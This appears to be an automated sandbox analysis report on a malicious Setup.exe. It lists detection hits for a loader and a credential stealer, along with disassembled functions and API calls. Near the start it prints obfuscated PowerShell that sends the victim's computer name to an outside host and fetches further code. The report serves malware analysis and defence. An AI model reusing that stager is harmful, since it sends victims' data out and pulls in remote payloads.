Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49865	185.161.251.21	443	4440	C:\Users\user\Desktop\Setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-07 14:33:31 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-07 14:33:31 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Tue, 07 Jan 2025 14:33:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-07 14:33:31 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Target ID:	0
Start time:	09:32:59
Start date:	07/01/2025
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	74'584'245 bytes
MD5 hash:	B42457DD108A4B0032A35391BE8C1A4E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2378707256.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	11.9%
Signature Coverage:	26.2%
Total number of Nodes:	478
Total number of Limit Nodes:	21

Executed Functions

Function 00423B18 Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 056f187888b7df1548e530b98d25847bbc08ce1a03beac48c5d00a75ef34ef97
Instruction ID: 3ede0b20b4c7fcb282c969c168847e97402ee9ed14a056b204af92ea2d75e865
Opcode Fuzzy Hash: 056f187888b7df1548e530b98d25847bbc08ce1a03beac48c5d00a75ef34ef97
Instruction Fuzzy Hash: 24E1DF31700224EFCB10DF69E585A9EB7B0FB45344FA440AAE555AB352C73DEE81DB88

Function 004314A4 Relevance: 18.6, APIs: 2, Strings: 8, Instructions: 1125
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000), ref: 00431B32
VirtualAlloc.KERNEL32(37122C5A,0005411C,49A25E52,-00000001C4F54842), ref: 004321D5

Strings

talA, xrefs: 00431B19
l!"-, xrefs: 0043158A
'@, xrefs: 004315B7
lloc, xrefs: 0043181B
Virt, xrefs: 00431A62
lloc, xrefs: 004317E9
lloc, xrefs: 00431790
dS", xrefs: 00432016

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressAllocProcVirtual
String ID: '@$Virt$dS"$l!"-$lloc$lloc$lloc$talA
API String ID: 2770133467-507971460
Opcode ID: 966671cd361a0d2278e19a9e8601a118d6a66dea6848ada16c615ac5d02489c0
Instruction ID: 6642fa0196c42f1c8c009584d8fbe377f5f5396e5664114d17ab78377e2bcef6
Opcode Fuzzy Hash: 966671cd361a0d2278e19a9e8601a118d6a66dea6848ada16c615ac5d02489c0
Instruction Fuzzy Hash: 47820376D103248FD758EFB6EC861693762FBB0309382923FD81297166DF3855468ACE

Function 00431738 Relevance: 14.9, APIs: 2, Strings: 6, Instructions: 944
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000), ref: 00431B32
VirtualAlloc.KERNEL32(37122C5A,0005411C,49A25E52,-00000001C4F54842), ref: 004321D5

Strings

talA, xrefs: 00431B19
lloc, xrefs: 0043181B
Virt, xrefs: 00431A62
lloc, xrefs: 004317E9
lloc, xrefs: 00431790
dS", xrefs: 00432016

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressAllocProcVirtual
String ID: Virt$dS"$lloc$lloc$lloc$talA
API String ID: 2770133467-2213400584
Opcode ID: ff7b62440cf9c28f5635adb93fbbfd1c7aa159c436811e0300ac29ef170a7df9
Instruction ID: bd21ef9917a7d4abca4731d558300b311ad0c305f683838dfefaf921c96ea4fc
Opcode Fuzzy Hash: ff7b62440cf9c28f5635adb93fbbfd1c7aa159c436811e0300ac29ef170a7df9
Instruction Fuzzy Hash: B0620576D103208FD758EFB6EC861693762FBB0309382923FD81697166DF3855468ACD

Function 00431760 Relevance: 14.9, APIs: 2, Strings: 6, Instructions: 934
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000), ref: 00431B32
VirtualAlloc.KERNEL32(37122C5A,0005411C,49A25E52,-00000001C4F54842), ref: 004321D5

Strings

talA, xrefs: 00431B19
lloc, xrefs: 0043181B
Virt, xrefs: 00431A62
lloc, xrefs: 004317E9
lloc, xrefs: 00431790
dS", xrefs: 00432016

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressAllocProcVirtual
String ID: Virt$dS"$lloc$lloc$lloc$talA
API String ID: 2770133467-2213400584
Opcode ID: f419ac20a60d1295a7e564c16a884e87390ed7263f9ae0d4afef632af1d0719d
Instruction ID: 6a48e396645fcba42fa42ad54cddb76ebf103a2a453c90e5ea8e5454b65dbfc7
Opcode Fuzzy Hash: f419ac20a60d1295a7e564c16a884e87390ed7263f9ae0d4afef632af1d0719d
Instruction Fuzzy Hash: BE62F476D103208FD758EFB6EC8A1693762FBB0309382923FD81697166DF3855468ACD

Function 03192D8D Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 03192E26
NtMapViewOfSection.NTDLL(?,00000000), ref: 03192ECE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 03193242
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 031932F7
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 03193314
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 031933B7
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 031933EA
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0319355B

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 1ca29ca3b7ffc0c12a4c604cad724172e3756da3f7e9f49886e91b05adb032fa
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: 5042AC75604301AFEB25CF25C844B6BBBE9EF8C704F09492EF9A59B251E730E941CB52

Function 03140ADD Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,03140623,?,00000001,?,81EC8B55,000000FF), ref: 03140B1B
Thread32First.KERNEL32(00000000,0000001C), ref: 03140B47
Wow64SuspendThread.KERNEL32(00000000), ref: 03140B9A
CloseHandle.KERNEL32(00000000), ref: 03140BC4
CloseHandle.KERNEL32(00000000), ref: 03140BF8

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateFirstSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 2720937676-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 90868659a676ce35d78b85e606778dc956d63db656ec2d385ca512007a586dfd
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 75411E75600108AFDB18DF69C494FADB7B6EF8C304F10C068E6159B794DB74AE41CB54

Function 031403CD Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 03140670

Strings

uvH<, xrefs: 03140443
X, xrefs: 031404CF

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: X$uvH<
API String ID: 2422867632-863322150
Opcode ID: b2f4aa4aaecd44c14fd19b4c5a8d1ee34e6faaeb0037cb4d0d9669355e68930b
Instruction ID: 1e6c0b862907fbc49943d3792fec98b05809f29806d933c049719e716ce6a9d4
Opcode Fuzzy Hash: b2f4aa4aaecd44c14fd19b4c5a8d1ee34e6faaeb0037cb4d0d9669355e68930b
Instruction Fuzzy Hash: 5712C2B4E00219DBDB14CF99C990BADFBB1FF88304F2482A9D615AB385D735AA41CF54

Function 0314098D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 03140A59

Strings

,, xrefs: 03140AA5

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 1febde644b270feabfd204373dd626db99d3cc8052c3c20efef5fe91060154f3
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 4E41D374A00209EFDB08CF99C994BAEB7B1BF8C314F258598D5156B380D771AE85CF94

Function 00408570 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049E4BC,00000001,?,0040863B,?,00000000,0040871A), ref: 0040858E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 41829b89d7e3727ac89177743ddd4083b130a3c619164ee384ff545f749d33d9
Instruction ID: b69ee02f3960667d5a0d0d55753256036c579733dba637ab7db0a0071253ad56
Opcode Fuzzy Hash: 41829b89d7e3727ac89177743ddd4083b130a3c619164ee384ff545f749d33d9
Instruction Fuzzy Hash: 8CE0D83270421867D311A9699C82AFB735C9B58710F00417FBD45E73C2EDB8DE8046ED

Function 00423A90 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,0042405D,?,00000000,00424068), ref: 00423ABA

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 50ad2d418deb68cf0dcb77c970c6cd51246af7c15bbf2db5ab8e276b62253c45
Instruction ID: c5566dd9b4183df5c5bf998bacf1aa1caa2654dbbaeb36921ce5aeb1358f4262
Opcode Fuzzy Hash: 50ad2d418deb68cf0dcb77c970c6cd51246af7c15bbf2db5ab8e276b62253c45
Instruction Fuzzy Hash: A4F0C579205608AFCB40DF9DC588D4AFBE8FF4C260B058695B988CB321C234FD808F94

Function 004321C8 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 785a145576df013126e83c009bc6e7544de6a4a76ae5a169c2cdb9fea949bed2
Instruction ID: 8deb7897052ae0e4e13cd0cfce301cbb44e97a9acde3241df5efec953010304f
Opcode Fuzzy Hash: 785a145576df013126e83c009bc6e7544de6a4a76ae5a169c2cdb9fea949bed2
Instruction Fuzzy Hash: 30713976D107248BD708FFB7EC861693761FBB0319386923FE81297066DF3865429A8D

Function 004062BC Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0049B858), ref: 004062C2
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 004062CF
GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 004062E5
GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 004062FB
SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,0049B858), ref: 00406306

Strings

kernel32.dll, xrefs: 004062BD
SetProcessDEPPolicy, xrefs: 004062F5
SetDllDirectoryW, xrefs: 004062C9
SetSearchPathMode, xrefs: 004062DF

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModulePolicyProcess
String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
API String ID: 3256987805-3653653586
Opcode ID: 556584f4efd3bdd2658fd0fff6cf25219cf669c83c985bcfbee4bb2a86157e47
Instruction ID: a02042f0f19fddc2c75913b166ad4efc856c6a2bc1c14b30033028ddba50455b
Opcode Fuzzy Hash: 556584f4efd3bdd2658fd0fff6cf25219cf669c83c985bcfbee4bb2a86157e47
Instruction Fuzzy Hash: A2E02D5138071128FA1072B60D92B2B22888A60B49B26547BBD13B41C7DEBDCD7489BE

Function 00423780 Relevance: 15.1, APIs: 10, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F344: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED24,?,0042379B,00423B18,0041ED24), ref: 0041F362

GetClassInfoA.USER32(00400000,00423588), ref: 004237AB
RegisterClassA.USER32(0049C630), ref: 004237C3
GetSystemMetrics.USER32(00000000), ref: 004237E5
GetSystemMetrics.USER32(00000001), ref: 004237F4
SetWindowLongA.USER32(00410660,000000FC,00423598), ref: 00423850
SendMessageA.USER32(00410660,00000080,00000001,00000000), ref: 00423871
GetSystemMenu.USER32(00410660,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B18,0041ED24), ref: 0042387C
DeleteMenu.USER32(00000000,0000F030,00000000,00410660,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B18,0041ED24), ref: 0042388B
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410660,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00423898
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410660,00000000,00000000,00400000,00000000,00000000,00000000), ref: 004238AE

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID:
API String ID: 183575631-0
Opcode ID: e0dd2b91f4c96e59d9c9b18b3fd35aa1b31298058a1d9aa66b56c24ebe31df02
Instruction ID: 00b8b43acc91dabd05559d27749ae18c8e1f3747cb8a1452e9c6353fa17bd4ec
Opcode Fuzzy Hash: e0dd2b91f4c96e59d9c9b18b3fd35aa1b31298058a1d9aa66b56c24ebe31df02
Instruction Fuzzy Hash: 8F3132B17402106AFB10BFA6DC82F6626989B14709F50417BFA45EF2D3D6BDED00876D

Function 00455DBC Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00455E55,?,?,?,?,00000000,?,0049B89E), ref: 00455DDC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455DE2
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00455E55,?,?,?,?,00000000,?,0049B89E), ref: 00455DF6
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455DFC

Strings

Wow64DisableWow64FsRedirection, xrefs: 00455DD2
shell32.dll, xrefs: 00455E28
kernel32.dll, xrefs: 00455DD7, 00455DF1
Wow64RevertWow64FsRedirection, xrefs: 00455DEC

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 141f2db41e8b146c9fce25c8e42e46864c5b42be1ce044787b779b7051ad1439
Instruction ID: c7ad9618de817f3efb18816a2337069c951e58616a9db39667ef8fe10d02df78
Opcode Fuzzy Hash: 141f2db41e8b146c9fce25c8e42e46864c5b42be1ce044787b779b7051ad1439
Instruction Fuzzy Hash: 51017131614B44BED710FB629C27B2A3A68D700B0AF60443BFC00A6192D77C5E59CA6D

Function 004308CC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23
registryclipboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClipboardFormatA.USER32(commdlg_help), ref: 004308D4
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 004308E3
GetCurrentThreadId.KERNEL32 ref: 004308FD
GlobalAddAtomA.KERNEL32(00000000), ref: 0043091E

Strings

commdlg_help, xrefs: 004308CF
WndProcPtr%.8X%.8X, xrefs: 0043090F
commdlg_FindReplace, xrefs: 004308DE

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: 303568fdb53a59740591cd222628f72ddf5265e748b344f98215c1e50fe29f20
Instruction ID: a2ef973855134f0fc9e01b197da4d8dfd4442947cc74dba1c087ba7c460992a9
Opcode Fuzzy Hash: 303568fdb53a59740591cd222628f72ddf5265e748b344f98215c1e50fe29f20
Instruction Fuzzy Hash: B1F08270448340DAE300EB36884271A7BD09F68708F40467FF588A62E2D77989048F2F

Function 00423598 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 00423628
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418F76,00000000,?,?,?,00000001), ref: 00423655
OemToCharA.USER32(?,?), ref: 00423668
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418F76,00000000,?,?,?,00000001), ref: 004236A8

Strings

2, xrefs: 004235F6
MAINICON, xrefs: 0042361D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: 3d65645c5ffedbd49a25912ae8d02d5cc97a277dd71f07a488daf91bfe78c40a
Instruction ID: 10d2479569988388656eb2d23b2011bc30ba1b4145ba775670b49c158f1a2997
Opcode Fuzzy Hash: 3d65645c5ffedbd49a25912ae8d02d5cc97a277dd71f07a488daf91bfe78c40a
Instruction Fuzzy Hash: 1A319570A042555BDB10DF69988578A3BA8AF14308F4441BAE844DB387D7FE9988CB95

Function 00418EC8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418ECD
GlobalAddAtomA.KERNEL32(00000000), ref: 00418EEE
GetCurrentThreadId.KERNEL32 ref: 00418F09
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F2A

Part of subcall function 00422FD4: 73E9A570.USER32(00000000,?,?,00000000,?,00418F63,00000000,?,?,?,00000001), ref: 0042302A
Part of subcall function 00422FD4: EnumFontsA.GDI32(00000000,00000000,00422F74,00410660,00000000,?,?,00000000,?,00418F63,00000000,?,?,?,00000001), ref: 0042303D
